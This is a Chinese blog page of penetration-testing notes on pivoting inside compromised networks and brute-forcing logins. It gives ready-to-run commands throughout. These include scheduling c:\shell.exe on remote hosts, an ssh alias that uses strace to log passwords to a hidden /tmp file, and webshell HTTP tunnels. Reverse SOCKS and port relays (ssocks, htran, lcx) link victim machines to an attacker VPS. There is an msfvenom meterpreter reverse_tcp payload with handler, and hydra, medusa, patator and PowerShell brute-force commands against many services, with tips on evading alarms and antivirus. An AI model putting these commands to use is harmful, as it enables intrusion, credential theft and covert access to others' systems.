win计划任务小记 [ at schtasks ]



0x01 关于win系统计划任务的一些简单使用,03以前的系统中可使用 at 来执行各种系统计划任务

1
2
# at 14:23 /every:18,19,21,24,28 c:\shell.exe 创建本地计划任务,每月的这几号的这个点执行指定的可执行程序
# at /delete /y 删除本地所有的计划任务

1
2
# at \\192.168.3.23 14:23 /every:18,19,21,24,28 c:\shell.exe 在远程机器上创建计划任务
# at \\192.168.3.23 /delete /y 删除远程机器上的所有的计划任务
Read More

利用strace来跟踪 ssh 登陆密码



0x01 前言
strace 本身其实是一个非常好用的系统调用跟踪工具,运维们可以通过它快速锁定问题的根源,但,恰巧我们也可以通过这种方式来跟踪任何进程数据,比如ssh,su,sudo,这里以跟踪ssh登陆密码为例,大家可自行脑洞更多其它用法,关于strace自身的选项作用,请man strace:

1
2
3
# yum install epel-release -y 利用epel源来装,直接yum可能yum不到
# yum install strace -y 如果目标机器没有装strace,那你就自己顺手给他装一个,不过像这类的调试工具,一般都会作为常用工具而被预装
# vi ~/.bashrc 注意,这里是当前用户的环境变量配置文件,也就是说它只能对当前用户有效,不过你也可以加到全局配置中 '/etc/bashrc'
1
alias ssh='strace -o /tmp/.sshpwd-`date '+%d%h%m%s'`.log -s 2048 ssh'
Read More

通向彼岸 之内网代理转发 [ ssh隧道 ]



0x01 此次用于实验的大致环境,如下:

1
2
3
4
5
6
lnmp01 [centOS6.8_x64] ip: 192.168.3.30 假设为自己公网的vps[一般都会用一台公网的linux肉鸡],等会儿主要用来负责ssh转发
MidLAMP [centOS6.8_x64] ip: 192.168.32.193 假设为目标内网中的一台linux机器,能正常连公网
win2008cn ip: 192.168.32.170 假设为目标内网中的一台windows机器,不能连公网
win2008R2cn ip: 192.168.3.23 假设为目标公网中的一台windows机器,rdp只能通过192.168.3.x这个ip段访问
win7en ip: 192.168.32.195 假设为自己本地内网中的一台windows机器
win7en_bak ip: 192.168.3.17 假设为自己公网的另一台windows机器

0x02 关于ssh 工具本身选项用途简介 [更多详情,请自行man ssh,帮助手册里面说的非常详细]:

1
2
3
4
5
6
7
8
9
10
11
12
-C 压缩传输数据,加快传输速度
-f 后台对用户名密码进行认证
-N 仅仅只用来转发,不用再弹回一个新的shell
-n 后台运行
-q 安静模式,不要显示警告等信息
-l 指定ssh登录名
-g 允许远程主机连接到本地转发的端口
-L 进行本地端口转发
-R 进行远程端口转发
-D 动态转发,即socks代理
-T 禁止分配伪终端
-p 指定远程ssh服务端口

Read More

通向彼岸 之内网代理转发 [ 利用端口重定向bypass各类应用层防火墙 fpipe ]



0x01 前言:
    如果你觉得netsh和iptables配置稍微有点儿繁琐,有款小工具可能会适合你,fpipe 一款专门用于端口重定向的小工具,从名字就能猜出来它是干啥的,很明显,forward pipe[转发,通过管道],虽然功能上和netsh有一点点类似,但确实不是一类东西,同样是监听来自外部的某个端口,但它多做了一步,它会把来自外部端口的流量先转到本地某个指定的端口上[转发],再通过转到的这个本地端口去连远程机器的某个端口[管道],而不是像netsh只是单纯的把端口转过去,简易通信流程如下

1
外部端口访问 <-> 本地监听来自外部的这个端口并它转到本地的另一个端口上(在本地绑定两个端口) <-> 通过本地的另一个端口和远程机器的某个端口通信

工具选项如下,非常简单,看选项说明基本就懂了:

0x02 我们可以拿它来做什么
    刚刚在上面已经说过,它并非直接转发,而是又自己建立了一个新的通道,这样的好处在哪里呢,很明显,我们可以通过这样的方式来轻松bypass掉各类应用层防火墙

Read More

通向彼岸 之内网代理转发 [ 系统篇 iptables ]



0x01 前言
    作用和netsh差不多,这里就不废话了,直接看操作,还是同样的情况,只不过你此时拿下的是边界的一台linux服务器,依然想通过这台机器直接去访问内网的其它机器

0x02 环境大致如下:

1
2
3
边界linux机器(centos 6.8en) ip:192.168.3.40(假设为目标机器的公网ip) 192.168.32.129(假设为目标的内网ip)
要访问的内网windows机器(win 2008r2cn) ip:192.168.32.134
攻击者机器(win7cn) ip:192.168.3.251

0x03 最终目的

1
通过边界的linux机器访问内网中的windows机器上的指定服务

0x04 具体过程如下,首先,编辑边界linux机器的路由转发配置文件,开启其路由转发功能

1
2
# sed -i '/net.ipv4.ip_forward/ s/\(.*= \).*/\11/' /etc/sysctl.conf
# cat /etc/sysctl.conf | grep "net.ipv4.ip_forward"

Read More

通向彼岸 之内网代理转发 [ 系统篇 netsh ]



0x01 前言:
    除了前面提到的用一些端口转发工具来进行端口转发,其实windows系统自己也给我们提供了类似的功能,比如,其自带的防火墙管理工具netsh套件[确实非常实用],尤其碰到一些稍微畸形点的内网环境

0x02 先来假设这么一种情况
    当你搞定边界的一台windows机器以后,上去一看发现,机器上有两块网卡,一块外网卡,一块内网卡[先暂以正常的DMZ来讲],这时又你通过别的方式搞定了同内网的另一台windows机器,本来以为简单的种上马就可以走人了,但你发现马执行以后似乎什么都没发生,搞了半天,你才发现,原来这台内网机器根本不能连外网,说到这里,相必你也应该知道我要干啥了,没错,虽然内网的那台机器不能连外网,但它起码能跟边界的这台机器正常通信,这就够了,我们可以直接从外部通过边界这台机器来访问内网的那台不能连外网的机器


0x03 演示简单环境如下

1
2
3
目标的边界机器[win7en] ip: 192.168.3.212 [假设为目标公网ip] 192.168.32.132[目标内网ip]
目标内网的那台不能连外网的机器[win 2008r2cn] ip: 192.168.32.134 [目标内网ip]
外部的攻击者的机器[win7cn] ip: 192.168.3.251

0x04 要实现的目的很简单:

1
2
首先,可以确认的是,边界机器和攻击者机器通信正常,边界机器和目标内网的那台不能连外网的机器通信正常
现在,我想通过边界机器的某个端口去访问目标内网的那台不能上外网的机器的3389,下面是具体的操作步骤

Read More

通向彼岸 之内网代理转发 [ http隧道篇 使用过程中容易出现的一些问题 ]



关于使用http隧道代理脚本时,容易出现的一些错误及解决办法

0x01 如果是php程序,你可能需要先确保php.ini中的socket模块已正常开启并且可用,因为php中的socket函数要基于此模块,不过,reGeorg早已经提供了不再需要开启socket的代理脚本

0x02 有时候你在绑定某些端口会遇到socket无法建立连接的问题,不妨尝试换一下端口,比如:53,8080,443,只要不跟目标系统中的现有端口冲突即可,尽量用一些穿透性比较好的端口

0x03 有时还会遇到aspx 运行错误,看具体是什么错误,如果一眼解决不了,谷歌一下,解决办法肯定一大堆,比如:’Compilation Error’,可以尝试在代理脚本[即webshell]的当前所在目录,另外新建一个web.conf文件,一般也即可解决,文件具体内容如下:

1
2
3
4
5
<configuration>
<system.web>
<customErrors mode="Off"/>
</system.web>
</configuration>

Read More

通向彼岸 之内网代理转发 [ http隧道篇 abptts ]



0x01 前言:
    abptts,一款基于ssl加密的http隧道工具,相对来讲还算稳定,就个人实际使用来说起码比regerog都要稳定一些,且全程通信数据加密,能一定程度上对抗取证检测,单就这一点来说,还是很赞的,不过,加不加密,它自己说的不算,还是老办法,拿wireshark自己耐心跑一遍,就一目了然了,尽量用事实说话嘛

0x02 首先,安装好工具所需的各种py依赖库:

1
2
# pip install pycrypto 加密库,整个通信数据加密基本都要靠这个库来实现
# pip install httplib2

Read More

通向彼岸 之内网代理转发 [ http隧道篇 reGeorg ]



reGeorg [基于py,实际渗透过程中用的相对较多,稳定性一般,不过,使用还是非常方便的,推荐]:

0x01 和前面都一样,先把代理[webshell]上传到目标的网站目录中再说,记得顺手改下webshell的时间戳,尝试访问该shell,返回正常后,即可本地执行绑定操作,如下

1
# python regerogsocksproxy.py -u "http://目标域名/tunnel.aspx" -p 绑定的本地端口

0x02 连接绑定好的本地端口,推荐用proxifier或者sockscap,然后往里面添加一些自己常用的内网渗透工具,就可以对目标进行正常的内网渗透了

0x03 实际渗透中,个人还是比较推荐用这个,比较稳定,使用也比较简单,不过,还是有些令人不太愉快的地方,待后期解决了,再单独拿出来说

通向彼岸 之内网代理转发 [ http隧道篇 Tunna ]



Tunna [实际渗透中,不太推荐,不稳定,经常断,阻塞,基于py编写]

0x01 依然是先把代理端[webshell]上传到目标的网站目录中,并尝试访问该webshell,返回正常后,即可在本地执行下面的语句:

1
2
3
# python proxy.py -u "http://目标域名/conn.aspx" -l 要绑定的本地端口 -r 远程机器上的指定端口[3389] -v
# python proxy.py -u "http://目标域名/conn.aspx" -l 要绑定的本地端口 -a 内网机器的ip -r 内网机器的指定端口 -v
# python proxy.py -u "http://目标域名/conn.aspx" -l 要绑定的本地端口 -r 远程机器上的指定端口[22] -s[转发ssh服务需要加上此选项] -v

0x02 先连接刚才绑定到的本地端口,在尝试用mstsc,putty等工具进行连接

1
mstsc 127.0.0.1 绑定的本地端口

0x03 比较的不稳定,尤其是php脚本,已经不太兼容php5.3以后的版本了,而且还要开启某些模块(socket)支持,利用条件确实有点儿苛刻

0x04 另外,tunna已经有相应的msf模块,也可以选择直接把它加到msf中使用

通向彼岸 之内网代理转发 [ http隧道篇 Reduh ]



关于http隧道:
    其实,所谓的http隧道[更专业的叫法 “80端口复用”],你暂时可以把它简单形象的理解成基于web端脚本实现的一个socks代理功能,只不过这个代理不用在目标端再新开一个端口而是直接复用在已有的端口(通常是web服务端口,由相应的webshell实现)上:

reduh[老牌的http隧道工具,基于java,所以你需要事先装下jre]

0x01 首先,把代理端[即webshell]上传到目标的网站目录中,并尝试访问,返回正常后,在本地执行:

1
# java -jar reduhclient.jar http://目标域名/reduh.php

0x02 开始绑定端口,建立隧道

1
2
3
# telnet 127.0.0.1 1010
[createTunnel]要绑定到本地哪个端口上[8088]:127.0.0.1:要绑定远程机器上的哪个端口[3389,22]
[createTunnel]8088:127.0.0.1:3389

0x03 隧道建立成功后,即可使用 mstsc,putty 等工具连接到本地绑定的端口[此处是绑定到本地的8088],当你访问本地的8088就相当于访问目标机器的3389[你也可以换成22,以及你想代理的任何端口,前提是目标的这个端口必须先开了才行]

1
2
mstsc 127.0.0.1 8088
putty 127.0.0.1 8088

关于reduh:
    工具已经非常老了,应该是在很早之前,reduh的官网就已经发过相关声明,称reduh项目已经不再维护,现在已经被更好用的regerog所替代,不过,你要是实在没办法,还是可以尝试用下这个的,实际测试中,个人感觉reduh要比tunna还要好用一点,其实,所谓的好不好,跟目标实际环境和代码本身都有很大关系,这个也没必要非要分个好赖,适合自己的就是最好的,有兴趣可以仔细去详读一下工具代码

通向彼岸 之内网代理转发 [ ssocks反向代理篇 ]



在不同平台下使用ssocks反向代理[linux内网中可能会用的比较多,当然,它一样也提供了相应的win版本]:

关于socks反向代理原理的简要说明:
    其实,socks反向代理的通信原理还是比较简单的,就是在控制端和目标端同时开放一个端口,作为两端机器之间通信的这么一个专属通道[有点儿类似管道],说的再形象一点,是这样,当控制端想访问目标内网中的其他的机器的某个端口,目标端就会帮忙把要访问的那个端口的数据拿过来,放到之前已经建立好的这条通道的端口上,然后,控制端直接到这个地方来取即可,有点儿类似中介,socket嘛,本来就是个管道

在linux中使用ssocks:
0x01 如果目标是linux机器,可能还需要你自己先编译安装下ssocks,步骤非常简单,如下,如果过程中有什么报错,仔细看下报的具体是什么错误,顺手解决下,如果是编译器或者依赖库的问题,按照相应的提示装上即可:

1
2
3
4
# tar -zxf ssocks-0.0.14.tar.gz
# cd ssocks-0.0.14
# ./configure && make && make install
# echo $?

0x02 先在本地机器上执行,一般都是你自己的vps,如果开了防火墙记得把该端口放开:

1
# rcsocks -l 1234 -p 1080 -vv

0x03 到目标机器上执行[自带台运行选项,实际渗透中可以把它加上]:

1
# rssocks -s 192.168.3.41(实际中可能是你vps的ip):1080 -vv

0x04 再回到自己本地通过各种socks代理工具,连到vps的socks代理的端口上,即可轻松访问目标内网中的资源

1
2
3
proxychains
proxifier
putty



0x05 从连接信息中我们看到了socks连接建立成功的提示,如下



在win中使用ssocks:

0x01 本地机器上执行,一般都是自己的vps,如果开了防火墙记得把该端口放开:

1
# rcsocks.exe -l 1234 -p 1080 -vv

0x02 到目标机器上执行[自带台运行选项,实际渗透中可以把它加上]:

1
# rssocks.exe -s 192.168.3.41(实际中可能是你vps的ip):1080 -vv

0x03 依然是回到自己本地通过各种socks代理工具,连到vps的socks代理的端口上,而后正常的访问目标内网资源即可




小结:
    这也是实际渗透过程个人比较推荐的内网代理方式,尤其当目标机器存在公网ip的时候,用这种方式进行内网渗透无疑是极好的,此工具基本是没有任何依赖,使用简单粗暴,相对来说也比较轻量,免杀就更不用说了[因为根本就不需要免杀],除此之外,还有很多其它优点,这里就不一一说了,大家自己多实践就会感受到了


通向彼岸 之内网代理转发 [ htran篇 ]



htran 另一款要比lcx好用很多的端口转发及socks代理工具

1)首先,是最常规的端口转发功能:

0x01 首先,到vps上监听好指定的端口,意思是把本地的443端口流量转到本地的1234端口上

1
# htran -p -listen 443 1234

0x02 然后,回到目标机器上执行,意思就是把肉鸡的3389端口的流量转到vps的443端口上

1
# htran -p -slave 192.168.3.251[实际测试中应该是自己vps的ip] 443 192.168.32.134 3389

0x03 最后,再回到vps本地用指定的工具连接到最开始转出到的1234端口上,如下

1
2
mstsc: 127.0.0.1:1234
putty: 127.0.0.1 1234


2)其次,是相对比较实用的socks代理功能,让目标机器作为socks代理端,对目标内网进行渗透,不过这可能需要目标机器有个固定的公网ip,不然怎么练上去呢:

0x01 先在目标机器上安装并启动socks5服务

1
2
3
# HTran2.4.exe -install
# HTran2.4.exe -start
# htran -remove 不用时,卸掉即可

0x02 然后,回到自己的vps上先监听好等会要连回来的端口,这里的-s才表示的是启用socks代理,而-p单单只是进行口转发

1
# HTran2.4.exe -s -listen 1080 1234

0x03 上面都准备好以后,此时再回到目标机器上,开始和vps建立socks连接,如下

1
# HTran2.4.exe -s -connect 192.168.3.251[实际测试中应该是自己vps的ip] 1080

0x04 连接建立后,我们现在就可以回到我们自己本地的渗透系统中,安装好socskcap代理工具 [当然,你用别的socks客户端也一样],然后再工具设置中填写好vps的ip和socks代理的端口 [这里是1234这个端口],不过,要注意,如果你的vps开了防火墙,务必记得把这几个代理用到的端口都放开,要不然,数据是过不来的

0x05 最后,再把自己常用的一些内网渗透工具加到sockscap中,就可以对目标进行正常的内网渗透了,效果如下



关于htran:
    可能唯一的缺点还是需要免杀,工具也相对比较老了,2.4的源码应该早就放出来了,有兴趣可以down下来仔细分析下,个人觉得在实际测试中,它比lcx稍稳定一些,速度也还可以,确实是个很贴心的小工具


通向彼岸 之内网代理转发 [ lcx篇 ]



linux,win 平台下都有相应的已经编译好的版本,后期我会把自己用的工具都打包提供给大家,原理想必大家早已经非常清楚,其实本来就非常简单,所以这里就不废话了,简单使用如下

0x01 把来自外部的某个端口上的流量转到本地的某个端口上

首先,在自己的vps上执行监听准备:

1
2
# lcx -listen 监听来自外部的某个端口上的流量 转发到指定的本地端口上
# lcx -listen 443 1234 把来自外部的443端口的流量转到本地的1234端口上

而后,回到目标机器上去执行:

1
2
3
# lcx -slave 公网vps的ip 在vps上监听的端口 目标机器的ip 目标机器上指定的端口[通常是远程桌面或者ssh]
# lcx -slave 103.*.*.* 443 192.168.3.23 3389 把目标机器的3389端口的流量转发到自己vps的443端口上
# lcx -slave 103.*.*.* 443 192.168.3.23 22 把目标机器的22端口的流量转发到自己vps的443端口上

最后,再回到自己的vps上,看到连接正常建立,就可以用指定工具连接到目标机器上了:

1
2
mstsc: 127.0.0.1:1234 连目标的远程桌面
putty: 127.0.0.1 1234 连目标的ssh

此时当你在本地访问 127.0.0.1 的1234端口其实就相当于访问目标机器的rdp[3389端口]或者ssh[22端口]

关于lcx在linux中的用法,大同小异,只是参数不同而已,如下:

先在自己的vps上执行

1
# ./lcx -m 2 -p1 443 -h2 192.168.3.41[实际中可能是你vps的地址] -p2 1234 首先,还是在自己的vps上执行监听

而后回到目标机器上执行

1
# ./lcx -m 3 -h1 192.168.3.40[目标机器的ip] -p1 22 -h2 192.168.3.41[vps的ip] -p2 443 到目标机器上执行,把目标机器的22端口转到vps的443端口上

最后,再回到自己的vps上执行

1
# ssh root@127.0.0.1 -p 1234 观察到连接正常建立后,在vps上连接本地的1234端口实际连的就是目标机器[192.168.3.40]的22端口,效果如下


0x02 把来自外部的某个端口上的流量转到指定的其它机器的某个端口上,典型应用场景,把来自公网的meterpreter直接通过vps转到本地的msf中,流程大致如下:

1
# lcx -tran 来自外部的端口 指定机器的ip 指定机器上的端口

1),先把本地的kali连到vpn内网中[我是直接用自己的vps搭的vpn],因为等会儿要走vpn内网做转发,所以必须先连到vpn内网中,这是第一个比较关键的地方

此时再回到vps上ping下kali所在的vpn内网ip,确认kali和vps之间通过vpn内网通信没有任何问题

2),然后,回到本地的kali中开始生成payload,注意这里payload回连的ip要写自己vps的公网ip

1
# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=*.*.*.*[payload的回连ip要设成vps的] LPORT=8080 -f exe -o /root/Desktop/shell.exe

3),payload生成好以后,就可以开始监听了

1
2
3
4
5
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/x64/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 172.16.12.1(本机的vpn内网ip)
msf exploit(handler) > set lport 8080
msf exploit(handler) > exploit -j

4),第二个关键的地方,到vps上去做下转发,意思是把来自外部的8080[其实是我们自己的payload的回连端口]端口的流量通过vpn内网转到kali的8080端口上

1
# lcx -tran 8080 172.16.12.1 8080

5),最后,把payload丢到目标上去执行,meterpreter被正常从公网弹回,稍微留意下这里的上线ip就知道,很显然,是通过vpn的内网ip过来的



关于lcx:
    需要免杀,对于简单的内网还能凑活,对于现在的一些场景已经不能很好的适用了,个人在实际内网渗透过程中基本用的不多 [基本就是用来转下meterpreter和beef什么的],都是些简单辅助性的用途,工具也确实已经有些年头了,工具源码网上也到处都是,有兴趣可以仔细研读下[如果想自己过免杀的话],现在已经有很多更好的替代品,不过,这里还是感谢前辈们,在那个时代留给我们的财富

永不消失的 '0day' [ 弱口令 ]

0x01 hydra 选项用途简要说明

这里暂以linux平台使用为例,实际测试中也推荐大家在linux平台上自己编译,不然有些服务模块可能不太好使,虽然已经有编译好的win版本,但不太建议实际用,如果真没办法非要在win上跑,建议大家还是用7.x之前的版本吧,新版本中确实还有很多问题

1
2
3
4
5
6
7
8
9
10
11
12
-R 从上次未完成的爆破文件[hydra.restore]中读取爆破进度并接着上次的进度继续往后爆破
-S 爆破https时需要加上该选项
-s 如果要爆破的服务用的不是默认端口,可以用这个来手工指定服务端口号
-l/-L 指定用户名 / 指定用户名字典文件
-p/-P 指定密码 / 指定密码字典文件[字典务必要自己精心准备,别人的始终不适合自己的环境]
-e 尝试空密码[n]/尝试将用户名作为密码[s]/尝试将用户名和密码位置调换爆破[r]
-f/-F 当爆出第一个正确的密码后,就自动退出程序,-f表示单个'进程'退出,-F表示全局退出
-t 指定爆破进程,实际爆破中给8个左右即可,太高了容易报警,速度慢不怕,就怕动静儿太大,这里只是个参考,如果目标内网环境相对比较松,可以适当再放大一点,当然,肯定不能无限大,基于目标系统而定,大家酌情使用吧
-w 设定超时时长,默认32秒,一般情况10秒即可
-4/-6 4表示用ipv4,6表示用ipv6
-v 显示爆破信息
-M 把要爆破的目标都写到一个文件中,每行对应一个目标,支持域名,CIDR格式,或者单个ip的形式

0x02 在linux中编译安装hydra,此处暂以centos6.8 x64为例:

务必事先安装好所需的各种依赖库,因为hydra在破解各种服务的时候,可能会用到各类服务自己devel库中的一些函数,也就意味着你可能要装很多个库,因为它本身就支持很多服务的在线爆破,其实,就这一点来说,hydra本身做的事情并不算多,因为大多都要依赖别的库函数来实现,这样来看的话,hydra本质上只是把各种服务整合了一下

1
2
3
4
5
6
7
8
# tar -zxf libssh-0.4.8.tar.gz
# cd libssh-0.4.8
# mkdir build
# cd build/
# cmake -DCMAKE_INSTALL_PREFIX=/usr -DCMAKE_BUILD_TYPE=Debug -DWITH_SSH1=ON ..
# make && make install
# echo $?
# /sbin/ldconfig

0x03 安装 hydra 的各种依赖库

下面中的有一些库,有可能在你的环境中直接用yum装不上,没办法了,只能你自己稍微勤快点,去谷歌上找找,然后再单独手工把它装上,放心,肯定能找到解决办法的,如果中间有库装不上,可能在编译hydra时确实是可以编译成功,但等到后期实际爆破某些服务的时候就会出现各种问题

1
2
3
# yum groupinstall "Development Tools"
# yum install openssl-devel pcre-devel ncurses-devel ncurses postgresql-devel libssh-devel subversion-devel gcc cmake mysql-devel subversion-devel ncpfs-devel postgresql-devel libncurses-devel libidn-devel libpqxx-devel apr-devel apr-util-devel firebird-devel afpfs-ng-devel
# echo $?

0x04 编译安装hydra
可以看到就hydra 本身的编译安装过程倒是非常简单,你也可以用–prefix指定安装目录,走的时候方便顺手把整个安装目录干掉即可

1
2
3
4
# tar -zxf hydra-8.0.tar.gz
# cd hydra-8.0
# ./configure && make && make install
# hydra -h

0x05 针对各类服务的实例爆破演示:

爆破mssql [大多可能都是直接针对sa,想快速getshell,实际测试速度和精度都还不错]:

1
# hydra -L user.txt -P pass.txt -f -v -t 20 mssql://192.168.3.23

hydra brute force

爆破smb [速度还是比较快的,针对普通域内网的效果可能会好点]:

1
# hydra -L user.txt -P pass.txt -f -v -t 20 smb://192.168.3.23

hydra brute force

爆破rlogin [该服务用的可能已经不太多了]:

1
# hydra -L user.txt -P pass.txt -f -v rlogin://192.168.3.161

hydra brute force

爆破mysql [可能主要也是针对root,如果目标有waf,可能就不太好使了,过多的数据库连接容易触发报警,如果目标是linux,爆破速度还是蛮快的]:

1
# hydra -l root -P pass.txt -f -v -t 20 mysql://192.168.3.13

hydra brute force

爆破postgresql [实际测试中,速度还是蛮快的咧]:

1
# hydra -L user.txt -P pass.txt -f -v -t 20 postgres://192.168.3.23

hydra brute force

爆破rdp [ 对于08以上的系统基本就是个废,在本地多次测试均未成功,不过对于03以下的机器目前暂时还是比较可行的]:

1
# hydra -L user.txt -P pass.txt -f -v -t 20 rdp://192.168.3.23

hydra brute force

爆破ssh [正常情况下的速度还可以,前面装libssh就是为了爆破它的]:

1
# hydra -l root -P pass.txt -f -v -t 20 ssh://192.168.3.160

hydra brute force

爆破smtp[需要带目标域名后缀,所有的邮箱破解类的实际测试中都不太稳定[怀疑是某些防护的原因],偶尔能跑出来,偶尔又跑不出来,不太建议实战中用]:

1
# hydra -L user.txt -P pass.txt -v -f -t 20 smtp://192.168.3.160

hydra brute force

爆破pop3[不需要域名后缀,只需正确的账号密码即可,同样,很不稳定,有兴趣,可以拿常用公共邮箱测测精度,如:gmail,outlook,126,163,sina,qq…]:

1
# hydra -L user.txt -P pass.txt -v -f -t 20 smtp://192.168.3.160

爆破ftp [还算靠谱,不过需要前期好好搜集下目标的用户名]:

1
# hydra -L user.txt -P pass.txt -f -v -t 20 ftp://192.168.3.23

hydra brute force

爆破telnet [靠谱]:

1
# hydra -L user.txt -P pass.txt -f -v -t 20 telnet://192.168.3.23

hydra brute force

爆破vnc [无须用户名,本地多次测试都未成功]:

1
# hydra -P pass.txt -f -v -t 20 vnc://192.168.3.23

爆破snmp [暂时还好使]:

1
# hydra -P pass.txt -f -v -t 20 snmp://192.168.3.160

hydra brute force

爆破svn [实际中多次测试均未跑出来]:

1
# hydra -L user.txt -P pass.txt -f -v -t 20 svn://192.168.3.13

爆破ldap2/3(同样跑不出来):

1
# hydra -L user.txt -P pass.txt -f -v -t 20 ldap2://192.168.3.161

爆破redis:


hydra 使用小结:
    支持的服务比较多,这里就不一一演示了,大家可根据实际情况针对性的用,就个人使用来讲,hydra精度真的很一般 [尤其是在爆破各类邮件服务时,比如,pop3,smtp[这个还好点儿] ,imap,时好时坏,极不稳定,原因暂未找],速度也极为一般,单单就稳定性来讲,不是很靠谱,不过这里仅供参考,建议大家还是根据自己的实际情况来,一面之词,不足为信,大家可以自己实际使用为准


0x05 使用 medusa

偶尔会断,原因暂未查,不过,如果是实际爆破,相对来讲,个人还是比较推荐这个,尤其当拿下的目标机器是linux时,虽然,它支持的服务可能并没有hydra那么多,但个人还是比较喜欢它 [稳定,精度较高],毕竟是帮忙搞了不少事情,不幸的是,它没有win版,作者说它自己用Cygwin始终都没编译成功,如果你编译成功了,请立马告诉他,他也许还会请你喝杯啤酒啥的,嘿嘿……

支持爆破的服务模块,在kali中的默认路径如下:

1
/usr/lib/medusa/modules

自己编译后的默认服务模块路径,默认如下

1
/usr/local/lib/medusa/modules

关于不同系统平台所要安装的一些依赖库,在工具官方站点中已有详细说明,链接如下,请自行查看

1
http://foofus.net/goons/jmk/medusa/medusa.html

编译安装medusa和hydra几乎没什么区别,非常简单[此处同样是以centos6.8 x64为例]:

1
2
3
4
5
6
7
8
# yum groupinstall "Development Tools"
# yum install openssl-devel libssh2-devel postgresql-devel subversion-devel freerdp-devel
# tar -zxf medusa-2.2.tar.gz
# cd medusa-2.2
# vi INSTALL
# ./configure && make && make install
# echo $?
# medusa -h

0x06 常用选项功能说明,跟hydra选项用法基本一致,看看命令帮助就知道了,这儿不再细说:

1
2
3
4
5
6
7
8
9
10
-h 指定目标ip或者域名
-H 要爆破多个目标时,可以统一把他们先放到一个文件中,用该选项指定即可,每个目标对应单独的一行
-u/-U 指定用户名或者包含用户名的字典
-p/-P 指定单个密码或者包含密码的字典[务必精心准备]
-e n/s 跟hydra一样,尝试空密码,把用户名当密码尝试,
-M 指定要爆破的服务模块,比如是medusa支持的服务才可以,至于具体支持那些服务,看前面的模块目录即可知
-n 如果服务不是默认的端口,用该选项手工指定端口号
-s 启用ssl
-f 在爆出第一个密码之后就退出该程序
-v 显示爆破详情

0x07 下面是针对各类服务的一些实例爆破演示

爆破mssql [同样是只针对sa]:

1
# medusa -h 192.168.3.23 -U user.txt -P pass.txt -f -M mssql

mesua brute force

爆破mysql [针对root用户]:

1
# medusa -h 192.168.3.13 -U user.txt -P pass.txt -f -M mysql

mesua brute force

爆破smb [倒是很麻利]:

1
# medusa -h 192.168.3.23 -U user.txt -P pass.txt -f -M smbnt

mesua brute force

爆破postgresql [速度非常快]:

1
# medusa -h 192.168.3.23 -U user.txt -P pass.txt -f -M postgres

mesua brute force

爆破rlogin [暂时还有些问题]:

1
# medusa -h 192.168.3.11 -U user.txt -P pass.txt -f -M rlogin

爆破rdp [速度还不错,兼容性也非常好,起码自己在跑 2012r2 机器的rdp都没什么问题,12r2以下的系统版本就更不用说了]:

1
# medusa -h 192.168.3.23 -U user.txt -P pass.txt -f -M rdp

mesua brute force

爆破ssh [速度一般,不过精度还可以]:

1
# medusa -h 192.168.3.11 -u root -P pass.txt -f -M ssh

mesua brute force

爆破telnet [还有问题]:

1
# medusa -h 192.168.3.23 -U user.txt -P pass.txt -f -M telnet

爆破ftp [实际测试中速度还是比较慢的]:

1
# medusa -h 192.168.3.23 -U user.txt -P pass.txt -f -M ftp

mesua brute force

爆破smtp [跟hydra一样,所有的邮箱服务爆破都有问题]:

1
# medusa -h target.org -u target_name@target.org -P pass.txt -f -M smtp

爆破imap:

1
# medusa -h 192.168.3.23 -u target_name@target.org -P pass.txt -f -M imap

爆破pop3:

1
# medusa -h 192.168.3.23 -u target_name@target.org -P pass.txt -f -M pop3

爆破snmp [有问题]:

1
# medusa -h 192.168.3.160 -P pass.txt -f -v -t 20 -M snmp

爆破svn [也有问题]:

1
# medusa -h 192.168.3.13 -U user.txt -P pass.txt -f -M svn

爆破vnc [现在基本是没什么人用了,实际中遇到的也不太多,大多都换成了teamviewer]:

0x08 medusa使用小结:

1
相对稳定,精度较高,字典不易过大,控制在一万以内的高质字典即可,可能是程序本身或者目标防护的问题,有时候莫名其妙的异常,总体来讲,个人推荐



0x09 关于patator

基于py2.7 ,可定制度高,实际中你也可以选择用pywin32之类的东西把它打包成exe,某些服务模块貌似只能在linux中运行[也可能是由于我自己的系统原因吧],另外,其它的问题也非常多,极不建议在实战中使用,拿来作为样本学习还是可以的:

安装好第三方py库

1
2
3
4
5
# pip install pycrypto pyopenssl 加密库也经常报错
# pip install impacket 网络库一样经常报错
# pip install paramiko
# pip install IPy
# pip install dnspython

0x10 下面是实际爆破成功的一些服务

尝试爆破smb [速度还算可以]:

1
# python patator.py smb_login host=192.168.3.23 port=445 user=FILE0 password=FILE1 0=user.txt 1=pass.txt

patator brute force

尝试爆破ftp [非常慢]:

1
# python patator.py ftp_login host=192.168.3.23 port=21 user=FILE0 password=FILE1 0=user.txt 1=pass.txt

patator brute force

尝试爆破ssh [速度一般]:

1
# python patator.py ssh_login host=192.168.3.11 port=22 user=FILE0 password=FILE1 0=user.txt 1=pass.txt

patator brute force

另外还要爆破各类post表单的,请大家自行尝试,这里不再细说

0x11 patator使用小结:
    用来跑一些比较简单的服务和post表单还行,其它的就算了吧[基本是不能用于实际的渗透场景的],另外,脚本自身还存在n多问题,除了上面这几个服务可以成功,别的基本都是不可用的,尤其是在跑一些加密服务的时候,各种错,而且依赖的插件太多[说实话,如果是在目标机器上,我都有装py库的权限了,为什么还非要用你呢,当然,如果直接是socks代理进去,就更不会用你了],从代码也大概能看的出来,作者似乎有些漫不经心,反正个人很少用,大家随意



0x12 如果是直接处在目标域内网中,直接用powershell来爆破,无疑是极好的,优点,免杀效果好,小巧,灵活,定制度高,win平台首选,缺点,速度稍慢:

爆破mssql [sa]:

1
# powershell –exec bypass –Command "& {Import-Module 'C:\Invoke-BruteForce.ps1';Invoke-BruteForce -ComputerName 2008R2DC -UserList C:\user.txt -PasswordList C:\pass.txt -Service SQL -Verbose}"

powershell brute force

爆破ftp:

1
# powershell –exec bypass –Command "& {Import-Module 'C:\Invoke-BruteForce.ps1';Invoke-BruteForce -ComputerName 2008R2DC -UserList C:\user.txt -PasswordList C:\pass.txt -Service Ftp -Verbose}"

powershell brute force

爆破域内用户:

1
# powershell –exec bypass –Command "& {Import-Module 'C:\Invoke-BruteForce.ps1';Invoke-BruteForce -ComputerName rootkit.org -UserList C:\user.txt -PasswordList C:\pass.txt -Service ActiveDirectory -Verbose}"

powershell brute force

0x13 使用 dbpwAudit [一款专门针对各类数据库的爆破工具一款专门针对各类数据库的爆破工具,优势在于利用驱动跑,速度非常快]

存放各类数据库驱动的默认目录:

1
/usr/share/dbpwaudit/lib

powershell brute force
powershell brute force

